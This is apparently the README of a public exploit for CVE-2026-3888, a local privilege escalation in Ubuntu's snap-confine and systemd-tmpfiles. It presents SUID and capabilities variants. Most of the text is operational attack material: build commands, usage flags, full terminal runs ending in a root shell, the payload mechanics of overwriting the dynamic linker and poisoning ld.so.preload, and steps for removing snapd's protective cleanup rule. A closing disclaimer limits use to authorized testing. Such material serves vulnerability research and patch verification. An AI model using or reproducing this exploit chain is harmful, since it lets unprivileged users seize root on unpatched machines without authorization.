
Local privilege escalation exploit for CVE-2026-3888 targeting snap-confine and systemd-tmpfiles on Ubuntu, providing SUID and capabilities variants to achieve root access.
Local privilege escalation from unprivileged user to full root on Ubuntu Desktop 24.04+ by exploiting a TOCTOU race condition between snap-confine and systemd-tmpfiles. Two variants are provided: SUID and Capabilities.
CVSS: 7.8 (High) | Advisory: Qualys | Patch: snapd 2.74.2, March 17, 2026
systemd-tmpfiles deletes the stale .snap mimic directory under /tmp (30-day age-out)snap-confine via AF_UNIX socket backpressure to reliably win the race during the mimic bind-mount sequenceld-linux-x86-64.so.2 is replaced with shellcode that calls setreuid(0,0) + execvesnap-confine triggers the shellcode with root privileges/var/snap/firefox/common/ to escape the sandbox| File | Description |
|---|---|
exploit_suid.c | Unified single-binary exploit — all 7 phases in one fork-based orchestrator |
librootshell_suid.c | Payload — minimal ELF that replaces ld-linux-x86-64.so.2 via raw x86_64 syscalls |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
Both must be compiled on (or cross-compiled for) x86_64 Linux. exploit is statically linked so it runs inside the snap sandbox without library dependencies. librootshell.so uses -nostdlib because it contains only raw syscalls — no libc.
./exploit <librootshell.so> [-d] [-s]
| Flag | Description |
|---|---|
-d | Show snap-confine debug output (verbose mode) |
-s | Skip the .snap cleanup wait (requires root password) |
# Normal run
./exploit ./librootshell.so
# Debug mode
./exploit ./librootshell.so -d
# Retry after failure
./exploit ./librootshell.so -s
The exploit enters the sandbox, waits for systemd-tmpfiles to delete .snap (up to 10 days on stock Ubuntu 25.10 and up to 30 days on stock Ubuntu 24.04), then runs the race automatically. On success, drops to a root shell.
snap-confine must be SUID-root (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timer activebusybox available on the target (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 bytes)
[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 3122
[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.
[+] .snap deleted.
[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Namespace destroyed.
[Phase 4] Setting up and running the race...
[*] Working directory: /proc/3122/cwd
[*] Building .snap and .exchange...
[*] 285 entries copied to exchange directory
[*] Starting race...
[*] Monitoring snap-confine (child PID 3543)...
[!] TRIGGER — swapping directories...
[+] SWAP DONE — race won!
[*] ld-linux in namespace: user:user 755
[+] Poisoned namespace PID: 3543
[Phase 5] Injecting payload into poisoned namespace...
[+] ld-linux owned by uid 1000 (attacker). Race confirmed.
[*] Planting busybox...
[*] Writing escape script → /tmp/sh
[*] Overwriting ld-linux-x86-64.so.2...
[+] Payload injected.
[Phase 6] Triggering root via SUID snap-confine...
[*] snap-confine → snap-confine (SUID trigger)
[*] Exit status: 0
[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...
================================================================
ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
systemd-tmpfiles deletes the stale .snap mimic directory under /tmpsnap-confine via AF_UNIX socket backpressure to reliably win the race during the /var/lib mimic bind-mount sequence/var/lib/snapd/mount/snap.snap-store.user-fstabuser-fstab entries bind-mount a poisoned /etc (with ld.so.preload) into the sandboxsu binary from /tmp/.snap preloads librootshell.so which calls setreuid(0,0) + | File | Description |
|---|---|
exploit_caps.c | Unified single-binary exploit — all 7 phases in one fork-based orchestrator |
librootshell_caps.c | Payload — shared library with constructor that calls setreuid(0,0) + execve |
gcc -O2 -static -o exploit exploit_caps.c
gcc -shared -fPIC -nostartfiles -o librootshell.so librootshell_caps.c
Both must be compiled on (or cross-compiled for) x86_64 Linux. exploit is statically linked so it runs inside the snap sandbox without library dependencies. librootshell.so uses -nostartfiles and a __attribute__((constructor)) — it is loaded via ld.so.preload before the target binary's main().
./exploit <librootshell.so> [-d] [-s]
| Flag | Description |
|---|---|
-d | Show snap-confine debug output (verbose mode) |
-s | Skip the .snap cleanup wait (use when .snap is already gone) |
# Normal run
./exploit ./librootshell.so
# Debug mode
./exploit ./librootshell.so -d
# Skip wait (retry)
./exploit ./librootshell.so -s
The exploit enters the sandbox, waits for systemd-tmpfiles to delete .snap (up to 10 days on stock Ubuntu 25.10 and up to 30 days on stock Ubuntu 24.04), then runs the race automatically. On success, drops to a root shell.
snap-confine must have capabilities (cap_sys_admin, cap_chown, cap_dac_override, etc.)snap-store snap installed (default on Ubuntu Desktop)core22 base snap installedsystemd-tmpfiles-clean.timer activebusybox available on the target (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.71.1+ubuntu25.10.1
snapd 2.71.1+ubuntu25.10.1
series 16
ubuntu 25.10
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=25.10
DISTRIB_CODENAME=questing
DISTRIB_DESCRIPTION="Ubuntu 25.10"
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles Capabilities LPE
================================================================
[*] Payload: /home/user/./librootshell.so (14320 bytes)
[Phase 1] Entering snap-store sandbox...
[+] Inner shell PID: 3501
[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 10 days on Ubuntu 25.10).
[*] Hint: use -s to skip.
[+] .snap deleted.
[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_wQcOnV//dev: No such file or directory
[+] Namespace destroyed (.mnt gone).
[Phase 4] Setting up and running the race...
[*] Working directory: /proc/3501/cwd
[*] Building .snap and .exchange...
[*] 17 entries copied to exchange directory
[*] Starting race...
[*] Monitoring snap-confine (child PID 3678)...
[!] TRIGGER — swapping directories...
[+] SWAP DONE — race won!
[+] Race won. /var/lib/snapd is now user-owned.
[Phase 5] Setting up payload and user-fstab...
[*] Copying /etc to .snap/etc...
[*] Writing ld.so.preload...
[*] Writing user-fstab...
[*] Copying librootshell.so to /tmp/...
[*] Copying busybox...
[*] Writing escape script...
[*] Swapping var/lib back (restoring original snapd metadata)...
[+] Payload ready.
[Phase 6] Triggering root via SUID binary in /tmp/.snap...
[*] Executing: snap-confine → /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su
[*] Exit status: 0
[Phase 7] Verifying...
[+] SUID root bash: /var/snap/snap-store/common/bash (mode 4755)
[*] Cleaning up background processes...
================================================================
ROOT SHELL: /var/snap/snap-store/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
On a stock Ubuntu install, .snap cleanup takes 30 days (24.04) or 10 days (25.10). To speed this up for testing, reduce the /tmp age and timer interval:
Edit /usr/lib/tmpfiles.d/tmp.conf (as root):
# Change the age from 30d to 4m
sudo sed -i 's|^q /tmp .\+|q /tmp 1777 root root 4m|' /usr/lib/tmpfiles.d/tmp.conf
Verify:
grep '^q /tmp' /usr/lib/tmpfiles.d/tmp.conf
# Should show: q /tmp 1777 root root 4m
sudo mkdir -p /etc/systemd/system/systemd-tmpfiles-clean.timer.d
sudo tee /etc/systemd/system/systemd-tmpfiles-clean.timer.d/override.conf > /dev/null <<'EOF'
[Timer]
OnBootSec=1m
OnUnitActiveSec=1m
EOF
sudo systemctl daemon-reload
sudo systemctl restart systemd-tmpfiles-clean.timer
Verify:
systemctl list-timers systemd-tmpfiles-clean
# NEXT column should show ~1 minute from now
snapd 2.73+ adds an exclude rule that prevents tmpfiles from cleaning .snap. If your system has this, check and remove it:
cat /usr/lib/tmpfiles.d/snapd.conf
# If you see: x /tmp/snap-private-tmp/*/tmp/.snap
# Remove that line, or downgrade to snapd 2.71.1
With these settings, .snap will be cleaned up within ~5 minutes of going stale, allowing rapid iteration during testing.
This code is provided strictly for educational purposes, authorized security research, and penetration testing engagements where explicit written permission has been obtained. The author assumes no liability for misuse of this software. By using this code, you agree that you are solely responsible for your actions and any consequences that arise from its use. Do not use this code against systems you do not own or have explicit authorization to test.
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) |
|---|
| snap-confine | SUID-root | Capabilities (cap_sys_admin, etc.) |
| Target snap | firefox | snap-store |
| Mimic target | /usr/lib/x86_64-linux-gnu (~285 entries) | /var/lib (~17 entries) |
| Exploit vector | Overwrite ld-linux-x86-64.so.2 with shellcode | Control user-fstab + ld.so.preload |
| Payload format | Static ELF with raw syscalls | Shared library with __attribute__((constructor)) |
| Root trigger | SUID snap-confine loads poisoned dynamic linker | SUID su in /tmp/.snap preloads .so |
| cgroup requirement | Any snap.* name | Exact match: snap.snap-store.hook.configure |
.snap cleanup | 30 days | 10 days |
| Sandbox escape | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
execve("/tmp/sh")/var/snap/snap-store/common/ to escape the sandbox